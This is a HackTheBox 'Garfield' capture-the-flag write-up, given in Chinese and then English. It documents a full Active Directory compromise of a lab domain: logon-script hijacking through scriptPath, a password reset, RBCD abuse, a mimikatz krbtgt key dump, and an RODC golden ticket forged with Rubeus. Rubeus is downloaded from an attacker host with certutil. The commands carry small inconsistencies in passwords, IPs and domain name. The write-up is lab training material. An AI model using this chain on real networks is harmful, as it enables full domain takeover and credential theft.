HackTheBox Garfield Writeup

HackTheBox Garfield 是一台困难难度的 Windows 机器。本文按照信息收集、初始访问、横向或提权路径的顺序整理完整解题过程，突出关键漏洞点、凭据来源与最终拿到 user/root 或域权限的利用链。

htb garfield

枚举

Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-09 03:19 +0000
Nmap scan report for 10.129.196.125
Host is up (0.24s latency).
Not shown: 986 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        (generic dns response: NOTIMP)
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|_    bind
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-09 11:19:31Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2179/tcp open  vmrdp?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.garfield.htb
| Not valid before: 2026-02-13T01:10:36
|_Not valid after:  2026-08-15T01:10:36
| rdp-ntlm-info:
|   Target_Name: GARFIELD
|   NetBIOS_Domain_Name: GARFIELD
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: garfield.htb
|   DNS_Computer_Name: DC01.garfield.htb
|   DNS_Tree_Name: garfield.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2026-04-09T11:20:02+00:00
|_ssl-date: 2026-04-09T11:20:42+00:00; +8h00m00s from scanner time.
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.98%I=7%D=4/9%Time=69D71AC7%P=x86_64-pc-linux-gnu%r(DNSVe
SF:rsionBindReqTCP,20,"\0\x1e\0\x06\x85\x84\0\x01\0\0\0\0\0\0\x07version\x
SF:04bind\0\0\x10\0\x03");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7h59m59s, deviation: 0s, median: 7h59m59s
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2026-04-09T11:20:02
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 103.78 seconds

enum4linux

发现用户是IT Support组

Group: 'IT Support' (RID: 3106) has member: GARFIELD\j.arbuckle

以及其他人员

GARFIELD\l.wilson
GARFIELD\l.wilson_adm
GARFIELD\krbtgt_8245
GARFIELD\j.arbuckle
GARFIELD\krbtgt

NXC

netexec ldap 10.129.196.125 -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' --groups
# Tier 1    membercount: 1
# IT Support   membercount: 1
# Pre-Windows 2000 Compatible Access       membercount: 1

bloodhound

image 178.png

image 179.png

image 180.png

SMB

发现/SYSVOL/garfield.htb/scripts/printerDetect.bat

@echo off
echo Detecting installed printers...
echo ==============================

wmic printer get Name,DeviceID,PortName,DriverName,Shared,Status /format:table

echo.
echo Printer detection completed.
pause
bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --host 10.129.196.125 get writable --detail
distinguishedName: CN=Liz Wilson,CN=Users,DC=garfield,DC=htb
scriptPath: WRITE

修改printerDetect.bat并上传至/SYSVOL/garfield.htb/scripts/，运行

bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --host 10.129.196.125 set object "CN=Liz Wilson,CN=Users,DC=garfield,DC=htb" scriptPath -v printerDetect.bat

即可获取初步shell

USER

更改L.WILSON_ADM的密码为：Password!

Set-ADAccountPassword -Identity L.WILSON_ADM -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "Password!" -Force)

验证

nxc smb 10.129.196.125 -u l.wilson_adm -p 'Password!'
# SMB         10.129.196.125     445    DC01             [+] garfield.htb\l.wilson_adm:Password!

通过winrm登录即可获取USER

ROOT

提升权限

bloodyAD -u l.wilson_adm -p 'Password!' --host 10.129.196.125 add groupMember "RODC Administrators" l.wilson_adm

创建计算机

bloodyAD -u l.wilson_adm -p 'Password!' --host 10.129.196.125 add computer fake Password!

为核心目标RODC01配置RBCD

impacket-rbcd -delegate-from 'FAKE$' -delegate-to 'RODC01$' -dc-ip 10.129.196.125 -action write 'garfield.htb/l.wilson_adm:Password!'

申请服务票据并获取SYSTEM Shell

impacket-getST -spn 'cifs/RODC01.garfield.htb' -impersonate 'administrator' -dc-ip 10.129.196.125 'garfield.htb/FAKE$:Password!'

导入票据

export KRB5CCNAME=administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache

通过ligolo-ng连接后

impacket-psexec -k -no-pass \
-dc-ip 10.129.196.125 \
-target-ip 192.168.100.2 \
garfield.htb/Administrator@RODC01.garfield.htb

即可获取管理员权限，上传mimikatz.exe用于导出用户**krbtgt_8245**aes256票据，在mimikatz内部

privilege::debug
lsadump::lsa /inject /name:krbtgt_8245
# NTLM : 445aa4221e751da37a10241d962780e2
# S-1-5-21-2502726253-3859040611-225969357
# aes256_hmac       (4096) : d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240

修改 RODC 的 PRP

getTGT.py garfield.htb/l.wilson_adm:Password123! -dc-ip 10.129.21.221
bloodyad -k --host dc01.garfield.htb --dc-ip 10.129.21.221 -d garfield.htb set object "CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb" msDS-NeverRevealGroup -v "CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb"

上传rubeus后，导出黄金票据

certutil -urlcache -split -f http://10.10.16.11/Rubeus.exe Rubeus.exe
.\Rubeus.exe golden /rodcNumber:8245 /aes256:d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240 /user:Administrator /id:500 /domain:garfield.htb /sid:S-1-5-21-2502726253-3859040611-225969357 /flags:forwardable,renewable,enc_pa_rep /nowrap /outfile:ticket.kirbi

然后申请 TGS

.\Rubeus.exe asktgs /ticket:ticket_2026_04_11_21_05_56_Administrator_to_krbtgt@GARFIELD.HTB.kirbi /service:cifs/DC01.garfield.htb /dc:10.129.196.132 /outfile:tgs.kirbi
impacket-ticketConverter tgs.kirbi tgs.ccache
export KRB5CCNAME=tgs.ccache
impacket-psexec -k -no-pass -dc-ip 10.129.196.132 garfield.htb/Administrator@DC01.garfield.htb

HTB garfield

Enumeration

Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-09 03:19 +0000
Nmap scan report for 10.129.196.125
Host is up (0.24s latency).
Not shown: 986 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        (generic dns response: NOTIMP)
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|_    bind
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-09 11:19:31Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2179/tcp open  vmrdp?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.garfield.htb
| Not valid before: 2026-02-13T01:10:36
|_Not valid after:  2026-08-15T01:10:36
| rdp-ntlm-info:
|   Target_Name: GARFIELD
|   NetBIOS_Domain_Name: GARFIELD
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: garfield.htb
|   DNS_Computer_Name: DC01.garfield.htb
|   DNS_Tree_Name: garfield.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2026-04-09T11:20:02+00:00
|_ssl-date: 2026-04-09T11:20:42+00:00; +8h00m00s from scanner time.
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.98%I=7%D=4/9%Time=69D71AC7%P=x86_64-pc-linux-gnu%r(DNSVe
SF:rsionBindReqTCP,20,"\0\x1e\0\x06\x85\x84\0\x01\0\0\0\0\0\0\x07version\x
SF:04bind\0\0\x10\0\x03");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7h59m59s, deviation: 0s, median: 7h59m59s
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2026-04-09T11:20:02
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 103.78 seconds

enum4linux

Discovered user is part of the IT Support group

Group: 'IT Support' (RID: 3106) has member: GARFIELD\j.arbuckle

As well as other users

GARFIELD\l.wilson
GARFIELD\l.wilson_adm
GARFIELD\krbtgt_8245
GARFIELD\j.arbuckle
GARFIELD\krbtgt

NXC

netexec ldap 10.129.196.125 -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' --groups
# Tier 1    membercount: 1
# IT Support   membercount: 1
# Pre-Windows 2000 Compatible Access       membercount: 1

bloodhound

image 178.png

image 179.png

image 180.png

SMB

Found /SYSVOL/garfield.htb/scripts/printerDetect.bat

@echo off
echo Detecting installed printers...
echo ==============================

wmic printer get Name,DeviceID,PortName,DriverName,Shared,Status /format:table

echo.
echo Printer detection completed.
pause
bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --host 10.129.196.125 get writable --detail
distinguishedName: CN=Liz Wilson,CN=Users,DC=garfield,DC=htb
scriptPath: WRITE

Modify printerDetect.bat and upload it to /SYSVOL/garfield.htb/scripts/, then run

bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --host 10.129.196.125 set object "CN=Liz Wilson,CN=Users,DC=garfield,DC=htb" scriptPath -v printerDetect.bat

This will get an initial shell.

USER

Change the password for L.WILSON_ADM to: Password!

Set-ADAccountPassword -Identity L.WILSON_ADM -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "Password!" -Force)

Verify

nxc smb 10.129.196.125 -u l.wilson_adm -p 'Password!'
# SMB         10.129.196.125     445    DC01             [+] garfield.htb\l.wilson_adm:Password!

Log in via winrm to get the USER flag.

ROOT

Privilege escalation

bloodyAD -u l.wilson_adm -p 'Password!' --host 10.129.196.125 add groupMember "RODC Administrators" l.wilson_adm

Create a computer account

bloodyAD -u l.wilson_adm -p 'Password!' --host 10.129.196.125 add computer fake Password!

Configure RBCD for the core target RODC01

impacket-rbcd -delegate-from 'FAKE$' -delegate-to 'RODC01$' -dc-ip 10.129.196.125 -action write 'garfield.htb/l.wilson_adm:Password!'

Request a service ticket and get a SYSTEM shell

impacket-getST -spn 'cifs/RODC01.garfield.htb' -impersonate 'administrator' -dc-ip 10.129.196.125 'garfield.htb/FAKE$:Password!'

Import the ticket

export KRB5CCNAME=administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache

After connecting via ligolo-ng,

impacket-psexec -k -no-pass \
-dc-ip 10.129.196.125 \
-target-ip 192.168.100.2 \
garfield.htb/Administrator@RODC01.garfield.htb

This will give administrator privileges. Upload mimikatz.exe to export the krbtgt_8245 aes256 key. Inside mimikatz:

privilege::debug
lsadump::lsa /inject /name:krbtgt_8245
# NTLM : 445aa4221e751da37a10241d962780e2
# S-1-5-21-2502726253-3859040611-225969357
# aes256_hmac       (4096) : d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240

Modify the RODC’s PRP

getTGT.py garfield.htb/l.wilson_adm:Password123! -dc-ip 10.129.21.221
bloodyad -k --host dc01.garfield.htb --dc-ip 10.129.21.221 -d garfield.HackTheBox set object "CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb" msDS-NeverRevealGroup -v "CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb"

After uploading rubeus, export the golden ticket

certutil -urlcache -split -f http://10.10.16.11/Rubeus.exe Rubeus.exe
.\Rubeus.exe golden /rodcNumber:8245 /aes256:d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240 /user:Administrator /id:500 /domain:garfield.htb /sid:S-1-5-21-2502726253-3859040611-225969357 /flags:forwardable,renewable,enc_pa_rep /nowrap /outfile:ticket.kirbi

Then request a TGS

.\Rubeus.exe asktgs /ticket:ticket_2026_04_11_21_05_56_Administrator_to_krbtgt@GARFIELD.HTB.kirbi /service:cifs/DC01.garfield.htb /dc:10.129.196.132 /outfile:tgs.kirbi
impacket-ticketConverter tgs.kirbi tgs.ccache
export KRB5CCNAME=tgs.ccache
impacket-psexec -k -no-pass -dc-ip 10.129.196.132 garfield.htb/Administrator@DC01.garfield.htb